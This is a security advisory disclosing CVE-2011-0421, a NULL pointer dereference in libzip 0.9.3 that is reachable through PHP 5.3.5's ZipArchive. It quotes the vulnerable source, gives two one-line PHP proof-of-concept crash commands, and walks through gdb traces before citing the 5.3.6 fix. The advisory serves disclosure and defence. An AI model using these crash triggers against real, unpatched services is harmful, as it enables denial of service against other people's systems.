libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)

Published / (Updated)
Credit
Risk
2011-03-18 / 2012-03-12
Maksymilian Arciemowicz
Low
CWE
CVE
Local
Remote
CWE-Other
CVE-2011-0421
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
4.3/10
2.9/10
8.6/10
Exploit range
Attack complexity
Authentication
Remote
Medium
No required
Confidentiality impact
Integrity impact
Availability impact
None
None
Partial

libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)

Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 03.01.2011
- Pub.: 18.03.2011

CVE: CVE-2011-0421
CERT: VU#325039

Affected Software:
- libzip 0.9.3
- PHP 5.3.5 (fixed 5.3.6)


--- 0.Description ---
libzip is a C library for reading, creating, and modifying zip archives. Files can be added from data buffers, files, or compressed data copied directly from other zip archives. Changes made without closing the archive can be reverted. The API is documented by man pages.


--- 1.Description ---
libzip allows remote and local attackers to Denial of Service (Null Pointer Dereference) if ZIP_FL_UNCHANGED flag is set.

-lib/zip_name_locate.c---
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <= CRASH HERE
-lib/zip_name_locate.c---

for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash. Currently for PHP, the security impact we estimate only like a remote DoS, so risk is low.

Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame, fuse-zip, php zip extension, Endeavour2, FreeDink

Better analysis based on PHP code ZipArchive, bellow


--- 2. PHP 5.3.5 ZipArchive() ---
PoC1:
php -r '$nx=new ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCHANGED);'

PoC2:
php -r '$nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHANGED);'

Let's
-php_zip.c-------------------------------------
...
static ZIPARCHIVE_METHOD(locateName)
{
...
ZIP_FROM_OBJECT(intern, this);

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l",
&name, &name_len, &flags) == FAILURE) {
return;
}
...
idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH IN THIS FUNCTION
...
-php_zip.c-------------------------------------

and let`s see

-zip_name_locate.c-------------------------------------
ZIP_EXTERN(int)
zip_name_locate(struct zip *za, const char *fname, int flags)
{
return _zip_name_locate(za, fname, flags, &za->error);
}


int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=== CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED
for (i=0; i<n; i++) {
...
-zip_name_locate.c-------------------------------------

(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70 "a", flags=32767,
error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x00000000006381e6 in c_ziparchive_locateName (ht=2, return_value=0x1169418, return_value_ptr=0xffffffff,
this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877
#2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
#3 0x00000000006c0b00 in execute (op_array=0x1168568) at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107
...

Program received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400 "9223372036854775808", flags=32767,
error=0xffffffff00000000) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry;
(gdb) print za->cdir->nentry
Cannot access memory at address 0x8
(gdb) print za->nentry
$21 = 0

because

(gdb) x/i $rip
=> 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax
(gdb) x/i $rax
0x0: Cannot access memory at address 0x0
(gdb) x/i $eax

call to zip_name_locate

(gdb) n
1877 idx = (long)zip_name_locate(intern, (const char *)name, flags);
(gdb) print intern
$24 = (struct zip *) 0x118d580
(gdb) x/x intern
0x118d580: 0x0118d220
(gdb) x/40x intern
0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000
0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000
0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000
0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000


next PoC2

$nx=new ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","9223372036854775807");
rogram received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767,
error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c
(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=32767,
error=0xffffffffffffdac0) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0 "9223372036854775808", flags=-1,
st=0x7fffffffda70) at /build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45
#2 0x0000000000638451 in c_ziparchive_statName (ht=2, return_value=0x1169480, return_value_ptr=0xffffffff,
this_ptr=0x118d530, return_value_used=-176126592) at /build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818
#3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316


--- 3. Fix ---
This issue has been fixed with PHP Team, so big thanks guys.

http://www.php.net/ChangeLog-5.php#5.3.6

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name_locate.c?annotate=307867


--- 4. Greets ---
Special thanks for Pierre Joye and Stas


--- 5. Contact ---
Author: Maksymilian Arciemowicz


References:

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name_locate.c?annotate=307867
http://www.php.net/ChangeLog-5.php#5.3.6
http://bugs.php.net/bug.php?id=53885
http://svn.php.net/viewvc/?view=revision&revision=307867


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